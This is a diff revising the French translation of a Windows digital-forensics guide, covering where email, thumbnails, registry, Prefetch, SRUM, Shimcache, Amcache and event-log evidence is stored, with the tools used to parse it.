**Pour plus d'informations, consultez :** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
**Pour plus d'informations, consultez :** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||||
|
|
||||||
## Emails
|
## Emails
|
||||||
|
|
||||||
Les emails contiennent **2 parties intéressantes : Les en-têtes et le contenu** de l'email. Dans les **en-têtes**, vous pouvez trouver des informations telles que :
|
Les emails contiennent **2 parties intéressantes : les en-têtes et le contenu** de l'email. Dans les **en-têtes**, vous pouvez trouver des informations telles que :
|
||||||
|
|
||||||
* **Qui** a envoyé les emails (adresse e-mail, IP, serveurs de messagerie qui ont redirigé l'email)
|
* **Qui** a envoyé les emails (adresse e-mail, IP, serveurs de messagerie ayant redirigé l'e-mail)
|
||||||
* **Quand** l'email a été envoyé
|
* **Quand** l'e-mail a été envoyé
|
||||||
|
|
||||||
Aussi, à l'intérieur des en-têtes `References` et `In-Reply-To`, vous pouvez trouver l'ID des messages :
|
De plus, dans les en-têtes `References` et `In-Reply-To`, vous pouvez trouver l'ID des messages :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (484).png>)
|
![](<../../../.gitbook/assets/image (484).png>)
|
||||||
|
|
||||||
### Application de Courrier Windows
|
### Application Courrier Windows
|
||||||
|
|
||||||
Cette application enregistre les emails en HTML ou en texte. Vous pouvez trouver les emails dans des sous-dossiers à l'intérieur de `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Les emails sont enregistrés avec l'extension `.dat`.
|
Cette application enregistre les emails en HTML ou en texte. Vous pouvez trouver les emails dans des sous-dossiers à l'intérieur de `\Users\<nom_utilisateur>\AppData\Local\Comms\Unistore\data\3\`. Les emails sont enregistrés avec l'extension `.dat`.
|
||||||
|
|
||||||
Les **métadonnées** des emails et les **contacts** peuvent être trouvés à l'intérieur de la **base de données EDB** : `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
Les **métadonnées** des emails et les **contacts** peuvent être trouvés dans la base de données **EDB** : `\Users\<nom_utilisateur>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||||
|
|
||||||
**Changez l'extension** du fichier de `.vol` à `.edb` et vous pouvez utiliser l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) pour l'ouvrir. À l'intérieur de la table `Message`, vous pouvez voir les emails.
|
**Changez l'extension** du fichier de `.vol` à `.edb` et vous pouvez utiliser l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) pour l'ouvrir. Dans la table `Message`, vous pouvez voir les emails.
|
||||||
|
|
||||||
### Microsoft Outlook
|
### Microsoft Outlook
|
||||||
|
|
||||||
Lorsque des serveurs Exchange ou des clients Outlook sont utilisés, il y aura des en-têtes MAPI :
|
Lorsque des serveurs Exchange ou des clients Outlook sont utilisés, il y aura quelques en-têtes MAPI :
|
||||||
|
|
||||||
* `Mapi-Client-Submit-Time` : Heure du système lorsque l'email a été envoyé
|
* `Mapi-Client-Submit-Time` : Heure du système lorsque l'e-mail a été envoyé
|
||||||
* `Mapi-Conversation-Index` : Nombre de messages enfants du fil et horodatage de chaque message du fil
|
* `Mapi-Conversation-Index` : Nombre de messages enfants du fil et horodatage de chaque message du fil
|
||||||
* `Mapi-Entry-ID` : Identifiant du message.
|
* `Mapi-Entry-ID` : Identifiant du message.
|
||||||
* `Mappi-Message-Flags` et `Pr_last_Verb-Executed` : Informations sur le client MAPI (message lu ? non lu ? répondu ? redirigé ? hors du bureau ?)
|
* `Mappi-Message-Flags` et `Pr_last_Verb-Executed` : Informations sur le client MAPI (message lu ? non lu ? répondu ? redirigé ? absent du bureau ?)
|
||||||
|
|
||||||
Dans le client Microsoft Outlook, tous les messages envoyés/reçus, les données des contacts et les données du calendrier sont stockés dans un fichier PST dans :
|
Dans le client Microsoft Outlook, tous les messages envoyés/reçus, les données de contacts et les données de calendrier sont stockés dans un fichier PST dans :
|
||||||
|
|
||||||
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||||
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||||
|
|
||||||
Le chemin de registre `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indique le fichier qui est utilisé.
|
Le chemin du registre `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indique le fichier qui est utilisé.
|
||||||
|
|
||||||
Vous pouvez ouvrir le fichier PST en utilisant l'outil [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
Vous pouvez ouvrir le fichier PST en utilisant l'outil [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||||
|
|
||||||
|
@ -222,28 +222,28 @@ Vous pouvez ouvrir le fichier PST en utilisant l'outil [**Kernel PST Viewer**](h
|
||||||
|
|
||||||
### Outlook OST
|
### Outlook OST
|
||||||
|
|
||||||
Lorsque Microsoft Outlook est configuré **en utilisant** **IMAP** ou en utilisant un serveur **Exchange**, il génère un fichier **OST** qui stocke presque les mêmes informations que le fichier PST. Il maintient le fichier synchronisé avec le serveur pour les **12 derniers mois**, avec une **taille maximale de fichier de 50 Go** et dans le **même dossier que le fichier PST** est enregistré. Vous pouvez inspecter ce fichier en utilisant [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
|
Lorsque Microsoft Outlook est configuré **en utilisant** **IMAP** ou en utilisant un serveur **Exchange**, il génère un fichier **OST** qui stocke presque les mêmes informations que le fichier PST. Il garde le fichier synchronisé avec le serveur pour les **12 derniers mois**, avec une **taille maximale de fichier de 50 Go** et dans le **même dossier que le fichier PST** est enregistré. Vous pouvez inspecter ce fichier en utilisant [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||||
|
|
||||||
### Récupération des Pièces Jointes
|
### Récupération des pièces jointes
|
||||||
|
|
||||||
Vous pourriez être en mesure de les trouver dans le dossier :
|
Vous pouvez les trouver dans le dossier :
|
||||||
|
|
||||||
* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10
|
* `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10
|
||||||
* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+
|
* `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+
|
||||||
|
|
||||||
### Thunderbird MBOX
|
### Thunderbird MBOX
|
||||||
|
|
||||||
**Thunderbird** stocke les informations dans des fichiers **MBOX** dans le dossier `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`
|
**Thunderbird** stocke les informations dans des **fichiers MBOX** dans le dossier `\Users\%NOM_UTILISATEUR%\AppData\Roaming\Thunderbird\Profiles`
|
||||||
|
|
||||||
## Miniatures
|
## Miniatures
|
||||||
|
|
||||||
Lorsqu'un utilisateur accède à un dossier et l'organise en utilisant des miniatures, alors un fichier `thumbs.db` est créé. Cette base de données **stocke les miniatures des images** du dossier même si elles sont supprimées. Dans WinXP et Win 8-8.1, ce fichier est créé automatiquement. Dans Win7/Win10, il est créé automatiquement s'il est accédé via un chemin UNC (\IP\dossier...).
|
Lorsqu'un utilisateur accède à un dossier et l'organise en utilisant des miniatures, un fichier `thumbs.db` est créé. Cette base de données **stocke les miniatures des images** du dossier même si elles sont supprimées. Dans WinXP et Win 8-8.1, ce fichier est créé automatiquement. Dans Win7/Win10, il est créé automatiquement s'il est accédé via un chemin UNC (\IP\dossier...).
|
||||||
|
|
||||||
Il est possible de lire ce fichier avec l'outil [**Thumbsviewer**](https://thumbsviewer.github.io).
|
Il est possible de lire ce fichier avec l'outil [**Thumbsviewer**](https://thumbsviewer.github.io).
|
||||||
|
|
||||||
### Thumbcache
|
### Thumbcache
|
||||||
|
|
||||||
À partir de Windows Vista, **les aperçus des miniatures sont stockés dans un emplacement centralisé sur le système**. Cela permet au système d'accéder aux images indépendamment de leur emplacement et résout les problèmes de localité des fichiers Thumbs.db. Le cache est stocké à **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** sous plusieurs fichiers avec l'étiquette **thumbcache\_xxx.db** (numérotés par taille) ; ainsi qu'un index utilisé pour trouver des miniatures dans chaque base de données de taille.
|
À partir de Windows Vista, **les aperçus des miniatures sont stockés dans un emplacement centralisé sur le système**. Cela permet au système d'accéder aux images indépendamment de leur emplacement et résout les problèmes de localisation des fichiers Thumbs.db. Le cache est stocké à **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** sous la forme de plusieurs fichiers portant l'étiquette **thumbcache\_xxx.db** (numérotés par taille) ; ainsi qu'un index utilisé pour trouver les miniatures dans chaque base de données de taille.
|
||||||
|
|
||||||
* Thumbcache\_32.db -> petit
|
* Thumbcache\_32.db -> petit
|
||||||
* Thumbcache\_96.db -> moyen
|
* Thumbcache\_96.db -> moyen
|
||||||
|
@ -263,34 +263,34 @@ Les fichiers contenant le registre sont situés dans :
|
||||||
* %windir%\System32\Config\*_SYSTEM\*_: `HKEY_LOCAL_MACHINE`
|
* %windir%\System32\Config\*_SYSTEM\*_: `HKEY_LOCAL_MACHINE`
|
||||||
* %windir%\System32\Config\*_SOFTWARE\*_: `HKEY_LOCAL_MACHINE`
|
* %windir%\System32\Config\*_SOFTWARE\*_: `HKEY_LOCAL_MACHINE`
|
||||||
* %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE`
|
* %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE`
|
||||||
* %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER`
|
* %UserProfile%{Utilisateur}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER`
|
||||||
|
|
||||||
À partir de Windows Vista et Windows 2008 Server, il y a des sauvegardes des fichiers de registre `HKEY_LOCAL_MACHINE` dans **`%Windir%\System32\Config\RegBack\`**.
|
À partir de Windows Vista et de Windows 2008 Server, il existe des sauvegardes des fichiers de registre `HKEY_LOCAL_MACHINE` dans **`%Windir%\System32\Config\RegBack\`**.
|
||||||
|
|
||||||
Aussi à partir de ces versions, le fichier de registre **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** est créé en sauvegardant des informations sur les exécutions de programmes.
|
Également à partir de ces versions, le fichier de registre **`%UserProfile%\{Utilisateur}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** est créé pour sauvegarder des informations sur les exécutions de programmes.
|
||||||
|
|
||||||
### Outils
|
### Outils
|
||||||
|
|
||||||
Certains outils sont utiles pour analyser les fichiers de registre :
|
Certains outils sont utiles pour analyser les fichiers de registre :
|
||||||
|
|
||||||
* **Éditeur du Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer à travers le registre Windows de la session actuelle.
|
* **Éditeur de Registre** : Il est installé dans Windows. C'est une interface graphique pour naviguer dans le registre Windows de la session en cours.
|
||||||
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence des clés avec des informations intéressantes.
|
* [**Explorateur de Registre**](https://ericzimmerman.github.io/#!index.md) : Il vous permet de charger le fichier de registre et de naviguer à travers eux avec une interface graphique. Il contient également des signets mettant en évidence les clés contenant des informations intéressantes.
|
||||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il a une interface graphique qui permet de naviguer à travers le registre chargé et contient également des plugins qui mettent en évidence des informations intéressantes à l'intérieur du registre chargé.
|
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0) : Encore une fois, il possède une interface graphique qui permet de naviguer dans le registre chargé et contient également des plugins mettant en évidence des informations intéressantes dans le registre chargé.
|
||||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application graphique capable d'extraire les informations importantes du registre chargé.
|
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html) : Une autre application graphique capable d'extraire les informations importantes du registre chargé.
|
||||||
|
|
||||||
### Récupération d'éléments supprimés
|
### Récupération d'éléments supprimés
|
||||||
|
|
||||||
Lorsqu'une clé est supprimée, elle est marquée comme telle, mais jusqu'à ce que l'espace qu'elle occupe soit nécessaire, elle ne sera pas supprimée. Par conséquent, en utilisant des outils comme **Registry Explorer**, il est possible de récupérer ces clés supprimées.
|
Lorsqu'une clé est supprimée, elle est marquée comme telle, mais tant que l'espace qu'elle occupe n'est pas nécessaire, elle ne sera pas supprimée. Par conséquent, en utilisant des outils comme **Registry Explorer**, il est possible de récupérer ces clés supprimées.
|
||||||
|
|
||||||
### Dernier temps d'écriture
|
### Heure de dernière écriture
|
||||||
|
|
||||||
Chaque clé-valeur contient un **horodatage** indiquant la dernière fois qu'elle a été modifiée.
|
Chaque clé-valeur contient une **horodatage** indiquant la dernière fois qu'elle a été modifiée.
|
||||||
|
|
||||||
### SAM
|
### SAM
|
||||||
|
|
||||||
Le fichier/ruche **SAM** contient les **utilisateurs, groupes et les hachages des mots de passe** des utilisateurs du système.
|
Le fichier/hive **SAM** contient les **utilisateurs, groupes et mots de passe des utilisateurs** du système.
|
||||||
|
|
||||||
Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le RID, la dernière connexion, le dernier échec de connexion, le compteur de connexion, la politique de mot de passe et quand le compte a été créé. Pour obtenir les **hachages**, vous avez également **besoin** du fichier/ruche **SYSTEM**.
|
Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le RID, la dernière connexion, la dernière tentative de connexion échouée, le compteur de connexion, la politique de mot de passe et la date de création du compte. Pour obtenir les **hashes**, vous avez également besoin du fichier/hive **SYSTEM**.
|
||||||
|
|
||||||
### Entrées intéressantes dans le Registre Windows
|
### Entrées intéressantes dans le Registre Windows
|
||||||
|
|
||||||
|
@ -302,7 +302,7 @@ Dans `SAM\Domains\Account\Users`, vous pouvez obtenir le nom d'utilisateur, le R
|
||||||
|
|
||||||
### Processus Windows de base
|
### Processus Windows de base
|
||||||
|
|
||||||
Sur la page suivante, vous pouvez en apprendre davantage sur les processus Windows de base pour détecter des comportements suspects :
|
Sur la page suivante, vous pouvez en apprendre davantage sur les processus Windows de base pour détecter les comportements suspects :
|
||||||
|
|
||||||
{% content-ref url="windows-processes.md" %}
|
{% content-ref url="windows-processes.md" %}
|
||||||
[windows-processes.md](windows-processes.md)
|
[windows-processes.md](windows-processes.md)
|
||||||
|
@ -310,23 +310,23 @@ Sur la page suivante, vous pouvez en apprendre davantage sur les processus Windo
|
||||||
|
|
||||||
### Applications récentes Windows
|
### Applications récentes Windows
|
||||||
|
|
||||||
Dans le registre `NTUSER.DAT` dans le chemin `Software\Microsoft\Current Version\Search\RecentApps`, vous pouvez trouver des sous-clés avec des informations sur l'**application exécutée**, **la dernière fois** qu'elle a été exécutée et le **nombre de fois** qu'elle a été lancée.
|
Dans le registre `NTUSER.DAT` dans le chemin `Software\Microsoft\Current Version\Search\RecentApps`, vous pouvez trouver des sous-clés avec des informations sur l'**application exécutée**, la **dernière fois** qu'elle a été exécutée et le **nombre de fois** qu'elle a été lancée.
|
||||||
|
|
||||||
### BAM (Background Activity Moderator)
|
### BAM (Modérateur d'activité en arrière-plan)
|
||||||
|
|
||||||
Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quel moment** elles ont été exécutées (le temps est à l'intérieur de la valeur Data du registre).
|
Vous pouvez ouvrir le fichier `SYSTEM` avec un éditeur de registre et à l'intérieur du chemin `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`, vous pouvez trouver des informations sur les **applications exécutées par chaque utilisateur** (notez le `{SID}` dans le chemin) et à **quelle heure** elles ont été exécutées (l'heure est à l'intérieur de la valeur de données du registre).
|
||||||
|
|
||||||
### Prefetch Windows
|
### Préchargement Windows
|
||||||
|
|
||||||
Le prefetching est une technique qui permet à un ordinateur de **récupérer silencieusement les ressources nécessaires pour afficher le contenu** qu'un utilisateur **pourrait accéder dans un avenir proche** afin que les ressources puissent être accédées plus rapidement.
|
Le préchargement est une technique qui permet à un ordinateur de **récupérer silencieusement les ressources nécessaires pour afficher le contenu** auquel un utilisateur **pourrait accéder dans un avenir proche** afin que les ressources puissent être accédées plus rapidement.
|
||||||
|
|
||||||
Le prefetch Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` dans le chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10.
|
Le préchargement Windows consiste à créer des **caches des programmes exécutés** pour pouvoir les charger plus rapidement. Ces caches sont créés sous forme de fichiers `.pf` dans le chemin : `C:\Windows\Prefetch`. Il y a une limite de 128 fichiers dans XP/VISTA/WIN7 et 1024 fichiers dans Win8/Win10.
|
||||||
|
|
||||||
Le nom du fichier est créé comme `{program_name}-{hash}.pf` (le hachage est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la seule présence du fichier indique que **le programme a été exécuté** à un moment donné.
|
Le nom du fichier est créé sous la forme `{nom_du_programme}-{hash}.pf` (le hash est basé sur le chemin et les arguments de l'exécutable). Dans W10, ces fichiers sont compressés. Notez que la seule présence du fichier indique que **le programme a été exécuté** à un moment donné.
|
||||||
|
|
||||||
Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers qui sont préchargés**. Ce fichier contient **des informations sur le nombre d'exécutions**, **les dates** de l'exécution et **les fichiers** **ouverts** par le programme.
|
Le fichier `C:\Windows\Prefetch\Layout.ini` contient les **noms des dossiers des fichiers préchargés**. Ce fichier contient des informations sur le **nombre d'exécutions**, les **dates** de l'exécution et les **fichiers** **ouverts** par le programme.
|
||||||
|
|
||||||
Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) :
|
Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||||
```bash
|
```bash
|
||||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||||
```
|
```
|
||||||
|
@ -334,25 +334,25 @@ Pour inspecter ces fichiers, vous pouvez utiliser l'outil [**PEcmd.exe**](https:
|
||||||
|
|
||||||
### Superprefetch
|
### Superprefetch
|
||||||
|
|
||||||
**Superprefetch** a le même objectif que le prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service prefetch.\
|
**Superprefetch** a le même objectif que prefetch, **charger les programmes plus rapidement** en prédisant ce qui va être chargé ensuite. Cependant, il ne remplace pas le service prefetch.\
|
||||||
Ce service va générer des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`.
|
Ce service générera des fichiers de base de données dans `C:\Windows\Prefetch\Ag*.db`.
|
||||||
|
|
||||||
Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin complet**, les **plages horaires** et les **horodatages**.
|
Dans ces bases de données, vous pouvez trouver le **nom** du **programme**, le **nombre** d'**exécutions**, les **fichiers** **ouverts**, le **volume** **accédé**, le **chemin complet**, les **plages horaires** et les **horodatages**.
|
||||||
|
|
||||||
Vous pouvez accéder à cette information en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
Vous pouvez accéder à ces informations en utilisant l'outil [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||||
|
|
||||||
### SRUM
|
### SRUM
|
||||||
|
|
||||||
**System Resource Usage Monitor** (SRUM) **surveille** les **ressources** **consommées** **par un processus**. Il est apparu dans W8 et il stocke les données dans une base de données ESE située dans `C:\Windows\System32\sru\SRUDB.dat`.
|
**System Resource Usage Monitor** (SRUM) **surveille** les **ressources** **consommées** **par un processus**. Il est apparu dans W8 et stocke les données dans une base de données ESE située dans `C:\Windows\System32\sru\SRUDB.dat`.
|
||||||
|
|
||||||
Il fournit les informations suivantes :
|
Il fournit les informations suivantes :
|
||||||
|
|
||||||
* AppID et Chemin
|
* ID de l'application et chemin d'accès
|
||||||
* Utilisateur ayant exécuté le processus
|
* Utilisateur ayant exécuté le processus
|
||||||
* Octets envoyés
|
* Octets envoyés
|
||||||
* Octets reçus
|
* Octets reçus
|
||||||
* Interface réseau
|
* Interface réseau
|
||||||
* Durée de connexion
|
* Durée de la connexion
|
||||||
* Durée du processus
|
* Durée du processus
|
||||||
|
|
||||||
Ces informations sont mises à jour toutes les 60 minutes.
|
Ces informations sont mises à jour toutes les 60 minutes.
|
||||||
|
@ -365,15 +365,15 @@ Vous pouvez obtenir les données de ce fichier en utilisant l'outil [**srum\_dum
|
||||||
|
|
||||||
**Shimcache**, également connu sous le nom de **AppCompatCache**, est un composant de la **Base de données de compatibilité des applications**, créée par **Microsoft** et utilisée par le système d'exploitation pour identifier les problèmes de compatibilité des applications.
|
**Shimcache**, également connu sous le nom de **AppCompatCache**, est un composant de la **Base de données de compatibilité des applications**, créée par **Microsoft** et utilisée par le système d'exploitation pour identifier les problèmes de compatibilité des applications.
|
||||||
|
|
||||||
Le cache stocke divers métadonnées de fichier en fonction du système d'exploitation, telles que :
|
Le cache stocke diverses métadonnées de fichiers en fonction du système d'exploitation, telles que :
|
||||||
|
|
||||||
* Chemin complet du fichier
|
* Chemin complet du fichier
|
||||||
* Taille du fichier
|
* Taille du fichier
|
||||||
* Heure de dernière modification **$Standard\_Information** (SI)
|
* Dernière heure de modification de **$Standard\_Information** (SI)
|
||||||
* Heure de dernière mise à jour de ShimCache
|
* Dernière heure de mise à jour de ShimCache
|
||||||
* Indicateur d'exécution du processus
|
* Indicateur d'exécution du processus
|
||||||
|
|
||||||
Ces informations se trouvent dans le registre à :
|
Ces informations peuvent être trouvées dans le registre à :
|
||||||
|
|
||||||
* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`
|
* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`
|
||||||
* XP (96 entrées)
|
* XP (96 entrées)
|
||||||
|
@ -387,20 +387,19 @@ Vous pouvez utiliser l'outil [**AppCompatCacheParser**](https://github.com/EricZ
|
||||||
|
|
||||||
### Amcache
|
### Amcache
|
||||||
|
|
||||||
Le fichier **Amcache.hve** est un fichier de registre qui stocke les informations des applications exécutées. Il se trouve dans `C:\Windows\AppCompat\Programas\Amcache.hve`
|
Le fichier **Amcache.hve** est un fichier de registre qui stocke les informations des applications exécutées. Il est situé dans `C:\Windows\AppCompat\Programas\Amcache.hve`
|
||||||
|
|
||||||
**Amcache.hve** enregistre les processus récents qui ont été exécutés et liste le chemin des fichiers exécutés, ce qui peut ensuite être utilisé pour trouver le programme exécuté. Il enregistre également le SHA1 du programme.
|
**Amcache.hve** enregistre les processus récents qui ont été exécutés et répertorie le chemin des fichiers qui sont exécutés, ce qui peut ensuite être utilisé pour trouver le programme exécuté. Il enregistre également le SHA1 du programme.
|
||||||
|
|
||||||
Vous pouvez analyser ces informations avec l'outil [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser)
|
Vous pouvez analyser ces informations avec l'outil [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser)
|
||||||
```bash
|
```bash
|
||||||
AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum
|
AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum
|
||||||
```
|
```
|
||||||
```markdown
|
Le fichier CVS le plus intéressant généré est les `entrées de fichiers non associées Amcache`.
|
||||||
Le fichier CVS le plus intéressant généré est `Amcache_Unassociated file entries`.
|
|
||||||
|
|
||||||
### RecentFileCache
|
### RecentFileCache
|
||||||
|
|
||||||
Cet artefact ne peut être trouvé que dans W7 dans `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` et contient des informations sur l'exécution récente de certains binaires.
|
Cet artefact ne peut être trouvé que dans W7 dans `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` et il contient des informations sur l'exécution récente de certains binaires.
|
||||||
|
|
||||||
Vous pouvez utiliser l'outil [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) pour analyser le fichier.
|
Vous pouvez utiliser l'outil [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) pour analyser le fichier.
|
||||||
|
|
||||||
|
@ -415,9 +414,9 @@ Vous pouvez les trouver dans le registre sous `SYSTEM\ControlSet001\Services`. V
|
||||||
### **Windows Store**
|
### **Windows Store**
|
||||||
|
|
||||||
Les applications installées peuvent être trouvées dans `\ProgramData\Microsoft\Windows\AppRepository\`\
|
Les applications installées peuvent être trouvées dans `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||||
Ce répertoire a un **log** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**.
|
Ce référentiel contient un **journal** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**.
|
||||||
|
|
||||||
À l'intérieur de la table des applications de cette base de données, il est possible de trouver les colonnes : "Application ID", "PackageNumber" et "Display Name". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il est possible de savoir si certaines applications ont été désinstallées car les ID des applications installées devraient être séquentiels.
|
À l'intérieur de la table Application de cette base de données, il est possible de trouver les colonnes : "ID de l'application", "Numéro de package" et "Nom d'affichage". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il est possible de savoir si certaines applications ont été désinstallées car les ID des applications installées devraient être séquentiels.
|
||||||
|
|
||||||
Il est également possible de **trouver des applications installées** dans le chemin du registre : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
Il est également possible de **trouver des applications installées** dans le chemin du registre : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||||
Et des **applications désinstallées** dans : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
Et des **applications désinstallées** dans : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||||
|
@ -430,60 +429,60 @@ Les informations qui apparaissent dans les événements Windows sont :
|
||||||
* Horodatage (UTC + 0)
|
* Horodatage (UTC + 0)
|
||||||
* Utilisateurs impliqués
|
* Utilisateurs impliqués
|
||||||
* Hôtes impliqués (nom d'hôte, IP)
|
* Hôtes impliqués (nom d'hôte, IP)
|
||||||
* Actifs accédés (fichiers, dossiers, imprimantes, services)
|
* Actifs consultés (fichiers, dossiers, imprimantes, services)
|
||||||
|
|
||||||
Les journaux sont situés dans `C:\Windows\System32\config` avant Windows Vista et dans `C:\Windows\System32\winevt\Logs` après Windows Vista. Avant Windows Vista, les journaux d'événements étaient au format binaire et après, ils sont au **format XML** et utilisent l'extension **.evtx**.
|
Les journaux se trouvent dans `C:\Windows\System32\config` avant Windows Vista et dans `C:\Windows\System32\winevt\Logs` après Windows Vista. Avant Windows Vista, les journaux d'événements étaient au format binaire et après, ils sont au format **XML** et utilisent l'extension **.evtx**.
|
||||||
|
|
||||||
L'emplacement des fichiers d'événements peut être trouvé dans le registre SYSTEM sous **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
L'emplacement des fichiers d'événements peut être trouvé dans le registre SYSTEM dans **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||||
|
|
||||||
Ils peuvent être visualisés à partir de la Visionneuse d'événements Windows (**`eventvwr.msc`**) ou avec d'autres outils comme [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
Ils peuvent être visualisés à partir de l'Observateur d'événements Windows (**`eventvwr.msc`**) ou avec d'autres outils comme [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||||
|
|
||||||
### Sécurité
|
### Sécurité
|
||||||
|
|
||||||
Cela enregistre les événements d'accès et donne des informations sur la configuration de sécurité qui peuvent être trouvées dans `C:\Windows\System32\winevt\Security.evtx`.
|
Cela enregistre les événements d'accès et fournit des informations sur la configuration de sécurité qui peuvent être trouvées dans `C:\Windows\System32\winevt\Security.evtx`.
|
||||||
|
|
||||||
La **taille maximale** du fichier d'événements est configurable, et il commencera à écraser les anciens événements lorsque la taille maximale est atteinte.
|
La **taille maximale** du fichier d'événements est configurable, et il commencera à écraser les anciens événements lorsque la taille maximale est atteinte.
|
||||||
|
|
||||||
Les événements qui sont enregistrés comme :
|
Les événements enregistrés sont :
|
||||||
|
|
||||||
* Connexion/Déconnexion
|
* Connexion/Déconnexion
|
||||||
* Actions de l'utilisateur
|
* Actions de l'utilisateur
|
||||||
* Accès aux fichiers, dossiers et actifs partagés
|
* Accès aux fichiers, dossiers et actifs partagés
|
